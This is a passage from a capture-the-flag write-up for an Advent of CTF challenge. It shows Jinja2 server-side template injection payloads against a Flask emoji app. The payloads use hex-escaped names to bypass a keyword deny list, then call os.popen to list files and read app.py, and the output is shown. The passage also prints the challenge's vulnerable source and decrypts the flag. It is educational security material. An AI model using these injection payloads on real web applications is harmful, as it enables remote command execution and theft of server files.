<class 'werkzeug.routing.Map'>,
|
||
|
<class 'werkzeug.routing.MapAdapter'>,
|
||
|
<class 'flask.signals.Namespace'>,
|
||
|
<class 'flask.signals._FakeSignal'>,
|
||
|
<class 'flask.helpers.locked_cached_property'>,
|
||
|
<class 'flask.helpers._PackageBoundObject'>,
|
||
|
<class 'flask.cli.DispatchingApp'>,
|
||
|
<class 'flask.cli.ScriptInfo'>,
|
||
|
<class 'flask.config.ConfigAttribute'>,
|
||
|
<class 'flask.ctx._AppCtxGlobals'>,
|
||
|
<class 'flask.ctx.AppContext'>,
|
||
|
<class 'flask.ctx.RequestContext'>,
|
||
|
<class 'flask.json.tag.JSONTag'>,
|
||
|
<class 'flask.json.tag.TaggedJSONSerializer'>,
|
||
|
<class 'flask.sessions.SessionInterface'>,
|
||
|
<class 'werkzeug.wrappers.json._JSONModule'>,
|
||
|
<class 'werkzeug.wrappers.json.JSONMixin'>,
|
||
|
<class 'flask.blueprints.BlueprintSetupState'>,
|
||
|
<class 'unicodedata.UCD'>,
|
||
|
<class 'jinja2.ext.Extension'>,
|
||
|
<class 'jinja2.ext._CommentFinder'>,
|
||
|
<class 'jinja2.debug.TracebackFrameProxy'>,
|
||
|
<class 'jinja2.debug.ProcessedTraceback'>,
|
||
|
<class 'CArgObject'>,
|
||
|
<class '_ctypes.CThunkObject'>,
|
||
|
<class '_ctypes._CData'>,
|
||
|
<class '_ctypes.CField'>,
|
||
|
<class '_ctypes.DictRemover'>,
|
||
|
<class 'ctypes.CDLL'>,
|
||
|
<class 'ctypes.LibraryLoader'>
|
||
|
]
|
||
|
```
|
||
|
|
||
|
{{< /code >}}
|
||
|
|
||
|
In this result we find the following class: `<class 'os._wrap_close'>`. This is the `os` module and it is on index `127`. We can verify it's index by getting it from the submodules list using the following input:
|
||
|
|
||
|
```text
|
||
|
{{ [[""|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fmro\x5f\x5f")][0][1]|attr("\x5f\x5fsubclasses\x5f\x5f")()][0][127] }}
|
||
|
```
|
||
|
|
||
|
This should return `<class 'os._wrap_close'>`.
|
||
|
|
||
|
### Grabbing the file
|
||
|
|
||
|
Now that we've got the `os` module, we can use it's `popen` function to execute commands. Let's try to list the work directory using the following input:
|
||
|
|
||
|
```text
|
||
|
{{ [[[""|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fmro\x5f\x5f")][0][1]|attr("\x5f\x5fsubclasses\x5f\x5f")()][0][127]|attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5fglobals\x5f\x5f")][0]["popen"]("ls -lA")|attr("read")() }}
|
||
|
```
|
||
|
|
||
|
It worked! We got the following result:
|
||
|
|
||
|
```text
|
||
|
total 28
|
||
|
dr-xr-xr-x 1 app app 4096 Nov 28 14:15 __pycache__
|
||
|
-r--r--r-- 1 app app 1571 Nov 28 14:15 app.py
|
||
|
-r--r--r-- 1 app app 93 Nov 28 14:15 requirements.txt
|
||
|
-r-xr-xr-x 1 app app 26 Nov 28 14:15 serve.sh
|
||
|
dr-xr-xr-x 1 app app 4096 Nov 28 14:15 static
|
||
|
-rw-r--r-- 1 root root 2 Dec 2 13:53 supervisord.pid
|
||
|
dr-xr-xr-x 1 app app 4096 Nov 28 14:15 templates
|
||
|
```
|
||
|
|
||
|
Now let's grab the contents of `app.py`:
|
||
|
|
||
|
```text
|
||
|
{{ [[[""|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fmro\x5f\x5f")][0][1]|attr("\x5f\x5fsubclasses\x5f\x5f")()][0][127]|attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5fglobals\x5f\x5f")][0]["popen"]("cat app\x2epy")|attr("read")() }}
|
||
|
```
|
||
|
|
||
|
{{< code language="python" title="app.py" >}}
|
||
|
|
||
|
```py
|
||
|
import random
|
||
|
from flask import Flask, render_template_string, render_template, request
|
||
|
import os
|
||
|
import emojis
|
||
|
|
||
|
app = Flask(__name__)
|
||
|
app.config['SECRET_KEY'] = 'Leer alles over Software Security bij Arjen (follow @credmp) at https://www.novi.nl'
|
||
|
|
||
|
def magic(flag, key):
|
||
|
return ''.join(chr(x ^ ord(flag[x]) ^ ord(key[x]) ^ ord(key[::-1][x])) for x in range(len(flag)))
|
||
|
|
||
|
file = open("/tmp/flag.txt", "r")
|
||
|
flag = file.read()
|
||
|
|
||
|
app.config['flag'] = magic(flag, '46e505c983433b7c8eefb953d3ffcd196a08bbf9')
|
||
|
flag = ""
|
||
|
|
||
|
os.remove("/tmp/flag.txt")
|
||
|
|
||
|
@app.route('/', methods=['GET', 'POST'])
|
||
|
def index():
|
||
|
if request.method == 'POST':
|
||
|
emoji="unknown"
|
||
|
try:
|
||
|
p = request.values.get('emoji')
|
||
|
if p != None:
|
||
|
emoji = emojis.db.get_emoji_by_alias(p)
|
||
|
except Exception as e:
|
||
|
print(e)
|
||
|
pass
|
||
|
|
||
|
try:
|
||
|
if emoji == None:
|
||
|
if '.' in p or '_' in p or "'" in p or 'config' in p:
|
||
|
return render_template_string("You entered an emoji that is on my deny list")
|
||
|
else:
|
||
|
return render_template_string("You entered an unknown emoji: %s" % p)
|
||
|
else:
|
||
|
return render_template_string("You entered %s which is %s. It's aliases %s" % (p, emoji.emoji, emoji.aliases))
|
||
|
except Exception as e:
|
||
|
print(e)
|
||
|
return 'Exception'
|
||
|
|
||
|
return render_template('index.html')
|
||
|
|
||
|
if __name__ == '__main__':
|
||
|
app.run(host='0.0.0.0', port=8000)
|
||
|
```
|
||
|
|
||
|
{{< /code >}}
|
||
|
|
||
|
## Magic function
|
||
|
|
||
3 years ago
|
Just like [yesterday]({{% ref "writeups/adventofctf/2020/challenge_16.md" %}}), we find a magic function. It looks like it's the same just with a different key so let's decrypt it using the new key (`46e505c983433b7c8eefb953d3ffcd196a08bbf9`):
|
||
4 years ago
|
|
||
|
```text
|
||
|
Python 3.6.9 (default, Nov 7 2019, 10:44:02)
|
||
|
[GCC 8.3.0] on linux
|
||
|
Type "help", "copyright", "credits" or "license" for more information.
|
||
|
>>> def magic(flag, key):
|
||
|
... return ''.join(chr(x ^ ord(flag[x]) ^ ord(key[::-1][x]) ^ ord(key[x])) for x in range(len(flag)))
|
||
|
...
|
||
|
>>> magic("C\x1eS\x1dwsef}j\x057i\x7fo{D)'dO,+sutm3F", "46e505c983433b7c8eefb953d3ffcd196
|
||
|
a08bbf9")
|
||
|
'NOVI{santa_l0ves_his_emojis}\n'
|
||
|
>>>
|
||
|
```
|
||
|
|
||
|
## Solution
|
||
|
|
||
|
We got the flag! It is `NOVI{santa_l0ves_his_emojis}`.
|
||
|
|
||
|
This flag can then be submitted for the [challenge](https://ctfd.adventofctf.com/challenges#17-18).
|